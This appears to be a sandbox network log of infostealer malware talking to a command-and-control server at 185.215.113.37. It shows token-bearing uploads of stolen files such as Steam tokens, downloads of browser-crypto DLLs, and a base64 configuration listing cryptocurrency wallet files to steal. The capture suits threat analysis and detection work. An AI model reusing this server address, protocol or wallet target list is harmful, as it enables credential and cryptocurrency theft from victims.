Oct 20, 2024 08:40:08.847431898 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="file"------AKECBFBAEBKJJJJKFCGC--
Oct 20, 2024 08:40:10.381787062 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:10.382047892 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:11.184643984 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="file"------JKECFCFBGDHIECAAFIID--
Oct 20, 2024 08:40:11.430813074 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:11.431251049 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:12.285300970 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:13.067812920 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:13.423767090 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 20, 2024 08:40:14.457807064 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:14.808053970 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 20, 2024 08:40:15.795258045 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:16.145133018 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 20, 2024 08:40:16.428420067 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:16.778919935 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 20, 2024 08:40:18.525414944 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:18.830549955 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:19.439924955 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:19.838363886 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 20, 2024 08:40:20.471306086 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:20.821239948 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 20, 2024 08:40:21.863641024 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 08:40:22.896742105 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:22.965694904 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="message"wallets------EBGCFBGCBFHJECBGDAKK--
Oct 20, 2024 08:40:23.318485975 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 20, 2024 08:40:23.321151018 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"files------HIIIEGDBKJKEBGCBAFCF--
Oct 20, 2024 08:40:23.673610926 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:23.687679052 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; 